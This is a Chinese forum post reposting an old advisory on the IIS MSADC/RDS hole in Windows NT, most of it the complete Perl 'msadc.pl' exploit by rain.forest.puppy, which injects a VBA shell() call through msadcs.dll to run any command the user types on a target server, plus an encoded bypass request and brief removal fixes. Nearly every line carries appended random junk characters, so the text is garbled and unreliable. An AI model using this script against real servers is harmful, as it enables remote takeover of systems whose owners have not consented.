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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _5jT}I<k  
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涉及程序: JNfL jfE)<  
Microsoft NT server (j&:  
\!-BR0+y;  
描述: "+F'WCJ-(*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 y>P+"Z.K%}  
$oK&k}Q  
详细: *|fF;-#v  
如果你没有时间读详细内容的话,就删除: !qt2,V  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Pb#M7=J/  
有关的安全问题就没有了。 mH'~pR>t  
 8b2 =n  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9{toPED  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 uZ!YGv0^  
关于利用ODBC远程漏洞的描述,请参看: Gmz^vpQ]t  
0@ Y#P|QF  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AG N/kx  
i+*!" /De  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +3)r szb72  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'r?ULft1  
~zqb{o^pT  
这里不再论述。 ?l0eU@rwQ  
E7:xPNU  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Iux3f+H  
@Jzk2,rI  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +xFn~b/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *; o%*:  
6p9fq3~7Y  
\#{PV\x:Nn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" *; Jb=  
/T w{JO#Q  
#!perl ANM#Kx+  
# Ax;[Em?I  
# MSADC/RDS 'usage' (aka exploit) script 2B ]q1>a!  
# 4Z"}W!A  
# by rain.forest.puppy m@td[^O-  
# =RQF::[h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `\kihNkJn3  
# beta test and find errors! a5 D|#9  
] G&*HMtp  
use Socket; use Getopt::Std; %71i&T F  
getopts("e:vd:h:XR", \%args);  \i%'M%  
N~v6K}`}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wVBK Vb9N  
\Z[1m[{  
if (!defined $args{h} && !defined $args{R}) { d1<";b2Jt^  
print qq~ -50DGA,K6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Hr|f(9xA  
-h <host> = host you want to scan (ip or domain) <^5!]8*O  
-d <seconds> = delay between calls, default 1 second 2{-29bq  
-X = dump Index Server path table, if available &9L4 t%As  
-v = verbose /( Wq  
-e = external dictionary file for step 5 zBF~:Uc`B  
mci> MEb  
Or a -R will resume a command session uUH4vUa  
IiU> VLa  
~; exit;} XB)D".\  
U\KMeaF5e-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; M.W X&;>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qX\*l m/l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 3U[O :  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); X?5{2ulrI  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Hn|W3U  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } )4yP(6|lx  
De?VZ2o9"  
if (!defined $args{R}){ $ret = &has_msadc; X0/slOT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NJUKH1lIhR  
`Ij@;=(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^q:-ZgM>  
. "cmd /c "; b}[S+G-9W  
$in=<STDIN>; chomp $in; 3Z!%td5n  
$command="cmd /c " . $in ; 1EyN |m|  
k# [!; <  
if (defined $args{R}) {&load; exit;} <LHhs <M'  
tW\yt~q,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; OW7  
&try_btcustmr;  YKyno?m  
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print "\nStep 2: Trying to make our own DSN..."; o`bch? ]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gjS|3ED  
'!HTE` Aj  
print "\nStep 3: Trying known DSNs..."; po| Ux`u  
&known_dsn; K"#$",}=  
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print "\nStep 4: Trying known .mdbs..."; GAz -yCJp  
&known_mdb; lA^1}  
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if (defined $args{e}){ [&)]-2w2  
print "\nStep 5: Trying dictionary of DSN names..."; OUX7 *_  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } uYh!04u  
Pvxb6\G&d  
print "Sorry Charley...maybe next time?\n"; [9m3@Yd'  
exit; FK%b@/7s~  
G@]3EP  
############################################################################## Hfcpqa  
Jj4 HJ9  
sub sendraw { # ripped and modded from whisker ~k"+5bHa*  
sleep($delay); # it's a DoS on the server! At least on mine... '6so(>|  
my ($pstr)=@_; g'"~'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LrB 0x>  
die("Socket problems\n"); x~5uc$  
if(connect(S,pack "SnA4x8",2,80,$target)){ R~vGaxZ$  
select(S); $|=1; ~Amq1KU*Z  
print $pstr; my @in=<S>; BoD{fg  
select(STDOUT); close(S); D6"=2XR4n  
return @in; -l^<[%  
} else { die("Can't connect...\n"); }} (MwRe?Ih  
,}oAc  
############################################################################## &f*o rM:  
b^o4Q[  
sub make_header { # make the HTTP request b8mH.g&l  
my $msadc=<<EOT q m3\) 9C  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 b1&tk~D  
User-Agent: ACTIVEDATA a<cwrDZ  
Host: $ip amBg<P`'_  
Content-Length: $clen !/FRL<mp  
Connection: Keep-Alive 7=^{~5#  
Gm~([Ln{  
ADCClientVersion:01.06 ohx[_}xN  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?nU<cxh  
7J'%;sH  
--!ADM!ROX!YOUR!WORLD! tl#sCf!c  
Content-Type: application/x-varg Vk2$b{VdF  
Content-Length: $reqlen m1$tf ^  
I^NDJdxd  
EOT !T 6R[  
; $msadc=~s/\n/\r\n/g; ?Ga8.0Z~KT  
return $msadc;} 9*q wXU_aV  
~?Zib1f)  
############################################################################## PR:k--)D  
bo0U  
sub make_req { # make the RDS request 56V|=MzX]  
my ($switch, $p1, $p2)=@_; HD j6E"  
my $req=""; my $t1, $t2, $query, $dsn; #]` uH{  
fBSa8D3}`  
if ($switch==1){ # this is the btcustmr.mdb query  a"Qf  
$query="Select * from Customers where City=" . make_shell(); 4~fYG|a  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . NL2 1se  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} n`Q@<op  
K;F1'5+=D  
elsif ($switch==2){ # this is general make table query 01cBAu   
$query="create table AZZ (B int, C varchar(10))"; #M-!/E  
$dsn="$p1";} SUS=sR/N  
fG0?"x@>  
elsif ($switch==3){ # this is general exploit table query a6{Zp{"Y  
$query="select * from AZZ where C=" . make_shell(); J8ni}\f  
$dsn="$p1";} I G1];vX  
%rwvY`\  
elsif ($switch==4){ # attempt to hork file info from index server P9v(5Z00|d  
$query="select path from scope()"; F}; R  
$dsn="Provider=MSIDXS;";} }b_Ob  
#QNN;&L]R  
elsif ($switch==5){ # bad query AA\a#\#Z3  
$query="select"; 'l*X?ccKy  
$dsn="$p1";} H& |/|\8F  
%>KbaM1b  
$t1= make_unicode($query); pMfb(D"  
$t2= make_unicode($dsn); H0l1=y  
$req = "\x02\x00\x03\x00"; HNzxF nh  
$req.= "\x08\x00" . pack ("S1", length($t1)); q*I*B1p[m  
$req.= "\x00\x00" . $t1 ; UU=]lWib  
$req.= "\x08\x00" . pack ("S1", length($t2)); "@Vyc6L  
$req.= "\x00\x00" . $t2 ; *22Vc2[i;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `YhGd?uu$  
return $req;} zv]ZEWVzc  
A3]A5s6  
############################################################################## qTsy'y;Z  
f$I=o N  
sub make_shell { # this makes the shell() statement B[b>T=  
return "'|shell(\"$command\")|'";} +kSu{Tc  
X%Ok ">  
############################################################################## b3A0o*  
#g{R+#fm  
sub make_unicode { # quick little function to convert to unicode Yy*=@qu>g  
my ($in)=@_; my $out; fi?4!h  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } FnvpnU",  
return $out;} k:0j;\Sx  
zWY988fX0  
############################################################################## E&U_1D9=L<  
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sub rdo_success { # checks for RDO return success (this is kludge) 7;jD>wp 9D  
my (@in) = @_; my $base=content_start(@in); fU>l:BzJ K  
if($in[$base]=~/multipart\/mixed/){ &@iOB #H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} r:*G{m-  
return 0;} ON2o^-%=  
j=r1JV @  
############################################################################## ;aQ`` B  
;(C<gt,r}  
sub make_dsn { # this makes a DSN for us @*z"Hi>4  
my @drives=("c","d","e","f"); 'D\X$^J^  
print "\nMaking DSN: "; ]$smFF  
foreach $drive (@drives) { 'ZbWr*bo  
print "$drive: "; 2B_|"J  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !"^Zr]Qt+\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" vJWBr:`L  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); s9Hxiw@D  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -^_2{i  
return 0 if $2 eq "404"; # not found/doesn't exist /7}pReUj  
if($2 eq "200") { fyQOF ItM  
foreach $line (@results) { Giyh( DL  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {&5lZ<nu8A  
} return 0;} &8$v~  
T$;S   
############################################################################## ';C'9k<P:  
\jfK']P/H  
sub verify_exists { {JE [  
my ($page)=@_; { 4J.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); "6B@V=d  
return $results[0];} T^v763%  
PaCC UF  
############################################################################## DY2*B"^  
 "J(M.Y  
sub try_btcustmr { DU^.5f  
my @drives=("c","d","e","f"); OZ&/&?!XE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Sn nfU  
8~Cmn%  
foreach $dir (@dirs) { VYG@_fd!x  
print "$dir -> "; # fun status so you can see progress <6UXk[y  
foreach $drive (@drives) { q?!HzZ  
print "$drive: "; # ditto JL M Xkcc  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =gVMt  
$reqlenlen=length( "$reqlen" ); {irc0gI  
$clen= 206 + $reqlenlen + $reqlen; g89@>?Mn  
h>pu^ `hk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); :-?ZU4)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /4x\}qvU  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [F6 )Z[uG  
'K7\[if{  
############################################################################## M%E<]H2;S  
:\^b6"}8  
sub odbc_error { D ,kxB~  
my (@in)=@_; my $base; 2uj .*  
my $base = content_start(@in); j_<qnBeQ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this AjK5x@\  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ohm{m^VD"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8pnD6Lp>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5,Fq:j)MxW  
return $in[$base+4].$in[$base+5].$in[$base+6];} x Lan1V  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]0UYxv%]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $@PruY3[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} o GuAF q  
!v8R(  
############################################################################## $Cz2b/O  
4R'CL N |t  
sub verbose { a>47k{RSzE  
my ($in)=@_; m.lR]!Y=w  
return if !$verbose; ;W- A2g  
print STDOUT "\n$in\n";} x?L0R{?WW  
gmVN(K}SR5  
############################################################################## \Oq2{S x\  
}O\IF}X  
sub save { i:s=  
my ($p1, $p2, $p3, $p4)=@_; M-@RgWvF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; JwI99I'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2Qe&FeT  
close OUT;} o;@~uU  
L3b0e_8>R  
############################################################################## <|r|s  
 }u8(7  
sub load { J _rrc;F  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; }ny7LQ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }H ~-oYMu  
@p=<IN>; close(IN); {Z2nc)|7C  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); CcQc!`YC  
$target= inet_aton($ip) || die("inet_aton problems"); F\eQV<  
print "Resuming to $ip ..."; 8UU L=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; +jhzE%  
if($p[1]==1) { Ar<5UnT  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; NtM>`5{?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; g+B7~Z5,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ]N 9N][n  
if (rdo_success(@results)){print "Success!\n";} F0!Z1S0g  
else { print "failed\n"; verbose(odbc_error(@results));}} D>|`+=1'0"  
elsif ($p[1]==3){ Y"lEMY  
if(run_query("$p[3]")){ Ph yIea  
print "Success!\n";} else { print "failed\n"; }} rt^~ I \V  
elsif ($p[1]==4){ BL&AZv/T  
if(run_query($drvst . "$p[3]")){ N**)8(  
print "Success!\n"; } else { print "failed\n"; }}  v@EErF  
exit;} O50_qu33ju  
~u&gU1}  
############################################################################## J8)l,J"  
P2vG)u  
sub create_table { 7<su8*?  
my ($in)=@_; #G#gc`S-,  
$reqlen=length( make_req(2,$in,"") ) - 28; +&S 7l%-  
$reqlenlen=length( "$reqlen" ); @ujwN([I  
$clen= 206 + $reqlenlen + $reqlen; K 4GuOl  
my @results=sendraw(make_header() . make_req(2,$in,"")); uH*6@aYPo  
return 1 if rdo_success(@results); _0+X32HjJ  
my $temp= odbc_error(@results); verbose($temp); $ 64up!  
return 1 if $temp=~/Table 'AZZ' already exists/; *QQeK# $s  
return 0;} /0}Z>i K  
Y#}qXXZ>]  
############################################################################## glLVT i  
W{-g?)Tou  
sub known_dsn { _M%>Qm  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go # >k|^*\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", OKh0m_ )7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", +ydd"`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xqw}O2QQ1  
{dZ]+2Z~+  
foreach $dSn (@dsns) { ~B|m"qY{i  
print "."; 'i%r  
next if (!is_access("DSN=$dSn")); OjhX:{"59  
if(create_table("DSN=$dSn")){ m\qeYI6,Z  
print "$dSn successful\n"; Gko"iO#  
if(run_query("DSN=$dSn")){ MsXw 8D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4Kch=jt4#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [2-n*a(q  
Oa/zE H  
############################################################################## P<IDb%W  
Bf*>q*%B{  
sub is_access { G%sq;XT61  
my ($in)=@_; :^ywc O   
$reqlen=length( make_req(5,$in,"") ) - 28; 7?yS>(VmT  
$reqlenlen=length( "$reqlen" ); K T0t4XPM  
$clen= 206 + $reqlenlen + $reqlen; Go{,< gm  
my @results=sendraw(make_header() . make_req(5,$in,"")); " AUSgVE+h  
my $temp= odbc_error(@results); u9~5U9]O%6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); S L 5k^|  
return 0;} G:1d6[Q5{  
": vGs_$  
############################################################################## #csP.z3^y  
Dnd; N/9  
sub run_query { 0BDw}E\  
my ($in)=@_; Dizz ?O  
$reqlen=length( make_req(3,$in,"") ) - 28; nh4G;qdU  
$reqlenlen=length( "$reqlen" ); &:l-;7d  
$clen= 206 + $reqlenlen + $reqlen; `rVru= zoy  
my @results=sendraw(make_header() . make_req(3,$in,"")); d/R!x{$-f  
return 1 if rdo_success(@results); I(^0/]'  
my $temp= odbc_error(@results); verbose($temp); cCZp6^/<x  
return 0;} %rb$tKk  
~yJ2@2I  
############################################################################## qt}M&=}8Q  
(=^KP7  
sub known_mdb { WnG 2\(U  
my @drives=("c","d","e","f","g"); qm$(_]R~`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U5kKT.M  
my $dir, $drive, $mdb; ['o ueOg  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 94-BcN  
+4-T_m/W/  
# this is sparse, because I don't know of many Nbr$G=U  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4fs d5#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 'yPKQ/y$x  
"\\system32\\certmdb.mdb", l(NQk> w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% '?Dxe B  
Ysu\CZGX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", '$OUe {j<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^Oi L&p;r  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", e%[*NX/  
"\\cfusion\\cfapps\\security\\realm_.mdb", At\(/Z y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }T4|Kyu?  
"\\cfusion\\database\\cfexamples.mdb", }PJsPIa3j  
"\\cfusion\\database\\cfsnippets.mdb", l\W|a'i  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", RKP, w %  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", jae9!W i  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /-p!|T}w  
"\\cfusion\\database\\smpolicy.mdb", K#+?oFo:  
"\\cfusion\\database\cypress.mdb", {|u"I@M*O  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @#4-4.6I<x  
"\\website\\cgi-win\\dbsample.mdb", &1Ndi<Y^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 1_TuA(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" qf(mJlU  
); #these are just Ef#LRcG-Z  
foreach $drive (@drives) { d[_26.  
foreach $dir (@dirs){ *U^Y@""a  
foreach $mdb (@sysmdbs) { j4owo#OB-  
print "."; ,*iA38d.!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ bq E'9GI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }>h n  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ nq{/fD(2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; dO8 2T3T  
} else { print "Something's borked. Use verbose next time\n"; }}}}} LJ[zF~4#  
e>z"{ u(F0  
foreach $drive (@drives) { :rL%,o"  
foreach $mdb (@mdbs) { l?*DGW(t{  
print "."; %(6IaqJ[  
if(create_table($drv . $drive . $dir . $mdb)){ \o!3TK"N  
print "\n" . $drive . $dir . $mdb . " successful\n"; #`u}#(  
if(run_query($drv . $drive . $dir . $mdb)){ nW)+-Wxq  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1*8;)#%&  
} else { print "Something's borked. Use verbose next time\n"; }}}} ~W21%T+  
} {T-\BTh&Q  
Qx4)'n  
############################################################################## :gV~L3YW5  
kumV|$Y?kA  
sub hork_idx { FY'0?CT$  
print "\nAttempting to dump Index Server tables...\n"; Q~]oN  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; x1eC r_  
$reqlen=length( make_req(4,"","") ) - 28; (%fQhQ  
$reqlenlen=length( "$reqlen" ); ]u5TvI,C  
$clen= 206 + $reqlenlen + $reqlen; Hi09?AX  
my @results=sendraw2(make_header() . make_req(4,"","")); QH-CZ6M  
if (rdo_success(@results)){ fi HE`]0  
my $max=@results; my $c; my %d; 2?~nA2+vm  
for($c=19; $c<$max; $c++){ $YX{gk>  
$results[$c]=~s/\x00//g; 6X@z(EEL  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 'u<e<hU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G^Gs/- f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; U"7o;q  
$d{"$1$2"}="";} X_2N9$},  
foreach $c (keys %d){ print "$c\n"; } )P(S:x'b0  
} else {print "Index server doesn't seem to be installed.\n"; }} v8-My1toV  
 Lw\u{E@  
############################################################################## uU 7 <8G  
WPRk>j  
sub dsn_dict { ;JkIZ8!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); h*VDd3[#  
while(<IN>){ j~N*TXkC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H=BI%Z  
next if (!is_access("DSN=$dSn")); s^zlBvr|.  
if(create_table("DSN=$dSn")){ IMWt!#vuY  
print "$dSn successful\n"; \>5sW8P]H`  
if(run_query("DSN=$dSn")){ ;$iT]S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ytY\&m  
print "Something's borked. Use verbose next time\n";}}} #1%@R<`  
print "\n"; close(IN);} X]y8-}Qf  
7 {92_xRL  
############################################################################## Z)|~  
aE'nW_f  
sub sendraw2 { # ripped and modded from whisker \s#~ %l  
sleep($delay); # it's a DoS on the server! At least on mine... kx(beaf  
my ($pstr)=@_; 1;/SXJ s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vNw(hT5750  
die("Socket problems\n"); 7"Xy8]i{z  
if(connect(S,pack "SnA4x8",2,80,$target)){ zn>lF  
print "Connected. Getting data"; edMCj  
open(OUT,">raw.out"); my @in; <Z-Pc?F&(k  
select(S); $|=1; print $pstr; \) dp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} oSrA4g  
close(OUT); select(STDOUT); close(S); return @in; {Z/iYHv~#c  
} else { die("Can't connect...\n"); }} Xgx/ubca0  
1e[?}q]*  
############################################################################## x~5,v5R^]  
8~(,qU8-N  
sub content_start { # this will take in the server headers \r IOnZ.WK  
my (@in)=@_; my $c; Hpix:To  
for ($c=1;$c<500;$c++) { +1wEoU.l2  
if($in[$c] =~/^\x0d\x0a/){ 0cG[<\qT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +~V_^-JG&  
else { return $c+1; }}} ]izHn;+  
return -1;} # it should never get here actually !U?C _  
Y)k"KRW+  
############################################################################## Ze%S<xT!O  
K ar!  
sub funky { p1'q{E+o*  
my (@in)=@_; my $error=odbc_error(@in); vT#R>0@mi  
if($error=~/ADO could not find the specified provider/){ q%G[tXw  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;[ QIHA!  
exit;} C+/EPPi  
if($error=~/A Handler is required/){ Y!j/,FU  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^!B]V>L-  
exit;} ,u|>%@h  
if($error=~/specified Handler has denied Access/){ V<WWtu;3  
print "\nServer has custom handler filters (they most likely are patched)\n"; p|gVIsg[-e  
exit;}} C1{Q 4(K%  
"S#$:92  
############################################################################## [,U l  
\Yj_U'2"i  
sub has_msadc { <p<6!tdO  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #om Gj&  
my $base=content_start(@results); M%:\ry4:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); yreH/$Ou 8  
return 0;} uB+#<F/c  
GOxP{d?  
######################## OD}Uc+;K  
f=91 Z_M  
OF*E1B M  
解决方案: D% *ww'mt0  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 1CJ1-]S(3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 V #vkj  
WS&a9!3;  
拿出来充数 哈哈
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